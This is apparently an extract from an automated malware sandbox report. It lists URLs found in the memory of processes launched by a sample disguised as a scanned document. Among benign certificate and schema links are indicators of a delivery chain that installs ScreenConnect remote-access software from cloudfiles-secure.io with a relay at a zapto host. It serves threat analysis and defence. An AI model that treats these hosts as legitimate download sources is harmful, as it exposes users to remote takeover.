Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Scan_doc_09_16_24_1120.exe, 00000000.00000002.2220205014.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: dfsvc.exe, 00000001.00000002.2793656432.0000022721BC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabB
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.7.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C0A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/eni
Source: svchost.exe, 00000007.00000003.2209823243.0000022265379000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000007.00000002.3271914143.0000022265300000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 00000007.00000003.2190621904.0000022265378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2168950175.0000022265375000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 00000007.00000003.2156243757.0000022265375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2190621904.0000022265378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272256168.0000022265378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2156320828.0000022265374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271328739.0000022264ADF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2165831029.0000022265376000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2078695040.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2168950175.0000022265375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2209823243.0000022265379000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000002.3271914143.0000022265300000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 00000007.00000002.3272256168.0000022265378000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.1.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000001.00000002.2792984032.0000022721B00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000001.00000002.2791939557.0000022720588000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: svchost.exe, 00000007.00000002.3272942590.0000022265A97000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 00000007.00000003.2210637965.0000022264A7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271914143.0000022265300000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy1p
Source: svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyn
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc1e
Source: svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scst
Source: svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee2
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000007.00000002.3272173508.000002226535F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022707C61000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000C.00000002.3274199153.0000000001410000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000F.00000002.2941168266.00000000032F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.5.dr String found in binary or memory: http://upx.sf.net
Source: Scan_doc_09_16_24_1120.exe, 00000000.00000002.2220205014.0000000000D5C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/
Source: Scan_doc_09_16_24_1120.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022708125000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227081F6000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708125000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.w3.or
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000157A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.w3.ora
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022707CF9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022707CF9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000007.00000003.2056321735.000002226532C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056592993.0000022265357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/msangcwam
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270845D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270806A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794636681.0000022723FB5000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io
Source: dfsvc.exe, 00000001.00000002.2784738148.000002270845D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Cli
Source: dfsvc.exe, 00000001.00000002.2793324674.0000022721B6F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.ap
Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C0A000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2792984032.0000022721B00000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000032FF000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000156C000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2285819740.000000001BC56000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000033A7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000032F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227081F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application#ScreenConnect.W0
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227081F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application#ScreenConnect.WPj
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000032F1000.00000004.00000800.00020000.00000000.sdmp, CHT0VHXS.log.1.dr String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.applic
Source: dfsvc.exe, 00000001.00000002.2795014048.00000227240A9000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2793471358.0000022721B9A000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284190303.0000000001592000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2285641644.000000001BBDA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application%%%
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2285819740.000000001BC56000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application.
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000156C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application22DW.YBK&
Source: dfsvc.exe, 00000001.00000002.2792984032.0000022721B00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application5
Source: CHT0VHXS.log.1.dr String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=ttyuio.zapto.o
Source: dfsvc.exe, 00000001.00000002.2791465766.00000227204E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationP
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.00000000014D6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationPNT
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000156C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationV
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000032FF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationX
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.0000000001589000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationZ
Source: dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationdb01WXG7
Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C0A000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000156C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationest
Source: dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationl
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2283633645.000000000156C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationpps_
Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C0A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationpps_n329
Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C0A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationpps_re=msil
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227081F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.applicationx
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794048940.0000022721C65000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.dll
Source: ScreenConnect.WindowsClient.exe, 0000000A.00000002.2284680562.00000000033A7000.00000004.00000800.00020000.00000000.sdmp, CHT0VHXS.log.1.dr String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 00000001.00000002.2792984032.0000022721B00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.manifest1
Source: dfsvc.exe, 00000001.00000002.2794432679.0000022721CE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Client.manifestt
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.ClientServi
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794432679.0000022721CE5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.ClientService.dllPj
Source: dfsvc.exe, 00000001.00000002.2794432679.0000022721CE5000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 00000001.00000002.2784738148.000002270802E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2793656432.0000022721BC7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 00000001.00000002.2793656432.0000022721BC7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Core.dll/uL
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022708353000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Win
Source: dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe.config
